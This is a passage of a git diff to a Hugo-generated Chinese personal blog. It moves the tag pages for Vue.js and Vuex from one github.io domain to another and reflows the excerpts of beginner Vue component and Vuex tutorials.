content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuejs"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>vuejs</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习vue组件</h2></header><div class=entry-content><p>组件注册
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>vuejs | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/vuejs/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/vuejs/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuejs"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/vuejs/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuejs"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>vuejs</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>深入学习vue组件</h2></header><div class=entry-content><p>组件注册
 .component()接收2个参数，其中第一个参数是组件名（数据类型是字符串）
 组件名命名：
 全部小写，多个单词用连字符连接（-减号）
@@ -6,44 +6,16 @@
 组件被引用时，也必须是相同的名，例如：组件名是img-data，那么被引用时标签为，闭不闭合看组件的定义，如果组件的定义是img之类的，就不需要闭合
 直接暴露在vue实例的组件都是全局组件，可以直接在组件实例中调用
 局部组件是使用一个JavaScript对象进行定义封装，例如：
-&lt;div id="app">
-&lt;datas-a>&lt;/datas-a>
-&lt;/div>
-&lt;script>
-const datas ={
-template: `
-&lt;div>
-hallo
-&lt;/div>
-`
-}
-const hallo = Vue.createApp({
-components: {
-"datas-a" : datas
-}
-}).mount('#app')
-&lt;/script>
-components对象，键为自定义元素的名称，值为组件的实质对象
+&lt;div id="app"> &lt;datas-a>&lt;/datas-a> &lt;/div> &lt;script> const datas ={ template: ` &lt;div> hallo &lt;/div> ` } const hallo = Vue.createApp({ components: { "datas-a" : datas } }).mount('#app') &lt;/script> components对象，键为自定义元素的名称，值为组件的实质对象
 局部组件的属性是不能直接被调用的，但是可以在另一个组件中指向其为自己的子组件，例如：
-const datab ={
-components: {
-"datas-a" : dataa
-}
-}
-模块系统
+const datab ={ components: { "datas-a" : dataa } } 模块系统
 通过导入模块的方式导入组件，例如：
 import datas from ‘./datas’
 那么datas组件就是可以在当前使用了
 Props
 prop类型
 用对象的方式列出prop，并且定义其类型，当传入的prop类型不对就会报错（开发版本），例如：
-const hallo = Vue.createApp({
-component: {
-props:{
-abc: String,
-xyz: Boolean,
-},
-template: `&lt;h1>{{abc....</p></div><footer class=entry-footer><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vue组件" href=https://xiaochenabc123.github.io/posts/53/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>vuejs基础学习笔记</h2></header><div class=entry-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
+const hallo = Vue.createApp({ component: { props:{ abc: String, xyz: Boolean, }, template: `&lt;h1>{{abc....</p></div><footer class=entry-footer><span title='2021-07-03 11:16:00 +0000 UTC'>2021-07-03</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 深入学习vue组件" href=https://chenjunlinabc.github.io/posts/53/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>vuejs基础学习笔记</h2></header><div class=entry-content><p>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
 导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用
@@ -55,49 +27,10 @@
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{…}}，例如：
-&lt;div id="app">
-&lt;p>{{ hallovuejs }}&lt;/p>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-hallovuejs: "hallo vuejs!"
-}
-}
-}
-Vue.createApp(hallo).mount("#app")
-&lt;/script>
-vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-&lt;div id="app">
-&lt;a v-bind:href="url">{{ main }}&lt;/a>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-url:"https://xiaochenabc123.test.com",
-main: "小陈的辣鸡屋"
-}
-}
-}
-Vue.createApp(hallo).mount("#app")
-&lt;/script>
-这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+&lt;div id="app"> &lt;p>{{ hallovuejs }}&lt;/p> &lt;/div> &lt;script> const hallo ={ data() { return { hallovuejs: "hallo vuejs!" } } } Vue.createApp(hallo).mount("#app") &lt;/script> vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+&lt;div id="app"> &lt;a v-bind:href="url">{{ main }}&lt;/a> &lt;/div> &lt;script> const hallo ={ data() { return { url:"https://xiaochenabc123.test.com", main: "小陈的辣鸡屋" } } } Vue.createApp(hallo).mount("#app") &lt;/script> 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-&lt;div id="app">
-&lt;button v-on:click="go">{{ main }}&lt;/button>
-&lt;/div>
-&lt;script>
-const hallo ={
-data() {
-return {
-main: "hallo"
-}
-},
-methods: {
-go: function(){
-console....</p></div><footer class=entry-footer><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs基础学习笔记" href=https://xiaochenabc123.github.io/posts/23/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/tags/vuejs/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+&lt;div id="app"> &lt;button v-on:click="go">{{ main }}&lt;/button> &lt;/div> &lt;script> const hallo ={ data() { return { main: "hallo" } }, methods: { go: function(){ console....</p></div><footer class=entry-footer><span title='2021-06-16 10:13:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;8 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs基础学习笔记" href=https://chenjunlinabc.github.io/posts/23/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/tags/vuejs/>«&nbsp;Prev&nbsp;</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/vuex/index.html b/tags/vuex/index.html
index b584426c..ee9ffda1 100644
--- a/tags/vuex/index.html
+++ b/tags/vuex/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>vuex | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/vuex/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/vuex/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuex"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/vuex/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuex"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>vuex</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>vuex | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/vuex/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/vuex/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuex"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/vuex/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuex"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>vuex</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用vuex状态管理库</h2></header><div class=entry-content><p>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
 vuex知识点：state，getter，mutation，action
@@ -12,23 +12,11 @@
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
-const store = new Vuex.Store({
-state: {
-count: 0
-}
-})
-export default store
-main.js
-new Vue({
-store // 将store对象添加到vue实例上
-})
-可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from ‘vuex’ export default { mounted() { console.log(this.count) }, computed: { …mapState([‘count’]) } }
 Getter
-getters: {
-getCount(state) {
-return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://xiaochenabc123.github.io/posts/123/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+getters: { getCount(state) { return state....</p></div><footer class=entry-footer><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://chenjunlinabc.github.io/posts/123/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/vuex/index.xml b/tags/vuex/index.xml
index 8eb2dd64..9c76fc5e 100644
--- a/tags/vuex/index.xml
+++ b/tags/vuex/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
